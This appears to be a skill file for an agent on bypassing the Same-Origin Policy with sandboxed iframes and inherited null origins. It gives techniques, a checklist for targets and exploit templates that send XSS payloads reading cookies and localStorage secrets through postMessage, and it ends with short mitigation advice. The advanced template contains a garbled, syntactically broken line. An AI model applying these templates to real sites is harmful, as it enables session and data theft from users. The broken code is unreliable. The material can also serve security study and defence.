SOP Bypass with Iframes
This skill covers techniques for bypassing Same-Origin Policy protections using iframe sandboxing and null origin exploitation.
Core Concepts
The Vulnerability Pattern
Many applications use postMessage with origin checks like this:
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
// ... process message
}
The vulnerability exists when:
- The origin check can be bypassed (e.g., both sides become
null) - The identifier check can be satisfied or bypassed
- The message handler executes untrusted content (XSS)
Null Origin Exploitation
When a page is loaded in a sandboxed iframe without allow-same-origin, its window.origin becomes null.
Key behaviors:
<iframe sandbox="allow-scripts">→window.origin === null- Popups opened from null-origin pages inherit the null origin (unless
allow-popups-to-escape-sandboxis set) - Two null-origin contexts can communicate via
postMessagebecausenull === null
Exploitation Techniques
Technique 1: Direct Sandbox Embedding
If the target page is embeddable (no X-Frame-Options or Content-Security-Policy restrictions):
<iframe sandbox="allow-scripts" src="https://target.com/vulnerable-page"></iframe>
The iframe's window.origin becomes null, bypassing origin checks that compare against window.origin.
Technique 2: Popup Inheritance Chain
When direct embedding isn't possible, use a popup chain:
- Create a sandboxed iframe (origin = null)
- Open a popup from the iframe to the target page
- The popup inherits null origin
- Both contexts can now communicate via postMessage
Required sandbox flags:
allow-scripts- Execute JavaScriptallow-popups- Open popup windowsallow-top-navigation- Navigate the top window (if needed)
Technique 3: Identifier Extraction and Relay
When the target requires an identifier check:
- First message: Send payload to extract the identifier
- Second message: Use the identifier to send the actual exploit
- Chain through the top window if needed
Exploit Template
Basic Null Origin Exploit
<body>
<script>
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
iframe.srcdoc = `
<script>
// Open target in popup (inherits null origin)
const popup = open('https://target.com/vulnerable-page');
// Send message to popup (both have null origin)
setTimeout(() => {
popup.postMessage({
type: 'render',
body: '<img/src/onerror=alert(document.cookie)>'
}, '*')
}, 1000);
<\/script>
`
document.body.appendChild(iframe)
</script>
</body>
Advanced: Identifier Extraction Chain
// Step 1: Create sandboxed iframe
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Step 2: Payload that extracts identifier and relays to top
const relayPayload = `
const target = opener.top;
target.postMessage(1, '*');
setTimeout(() => {
target.postMessage({
type: 'render',
identifier: 'KNOWN_IDENTIFIER',
body: '<img/src/onerror=alert(localStorage.getItem("secret"))>'
}, '*');
}, 1000);
`.replaceAll("\n", " ")
// Step 3: Initial communication
iframe.srcdoc = `
<script>
const popup = open('https://target.com/vulnerable-page');
=> top.location = 'https://target.com/vulnerable-page';
setTimeout(() => {
popup.postMessage({
type: 'render',
body: '<audio/src/onerror="${relayPayload}">'
}, '*')
}, 1000);
<\/script>
`
document.body.appendChild(iframe)
Detection Checklist
Before attempting exploitation, verify:
- Target page is embeddable (no X-Frame-Options: DENY/SAMEORIGIN)
- Target uses postMessage with origin checks
- Origin check compares against
window.origin - Target executes untrusted content (innerHTML, eval, etc.)
- Sandbox attributes can be controlled
Mitigation Recommendations
For defenders:
- Never trust
window.originalone - Use explicit allowlists - Validate message sources - Check against known domains, not just equality
- Sanitize all content - Use DOMPurify or similar before innerHTML
- Set X-Frame-Options - Prevent embedding:
DENYorSAMEORIGIN - Use Content-Security-Policy - Restrict frame-ancestors
- Avoid identifier-based auth - Use proper authentication tokens
Common Pitfalls
- Cookies: May need
SameSite=None; Securefor cross-origin iframe access - Popup blockers: Users may block the popup window
- CSP restrictions: frame-ancestors policy may prevent embedding
- Timing: Use setTimeout to ensure popup is ready before messaging
- Origin comparison:
null === nullis true, butnull === "https://..."is false
Related Techniques
- DOM Clobbering for origin manipulation
- Data URI origin exploitation
- Blob URL origin bypasses
- postMessage targetOrigin validation bypasses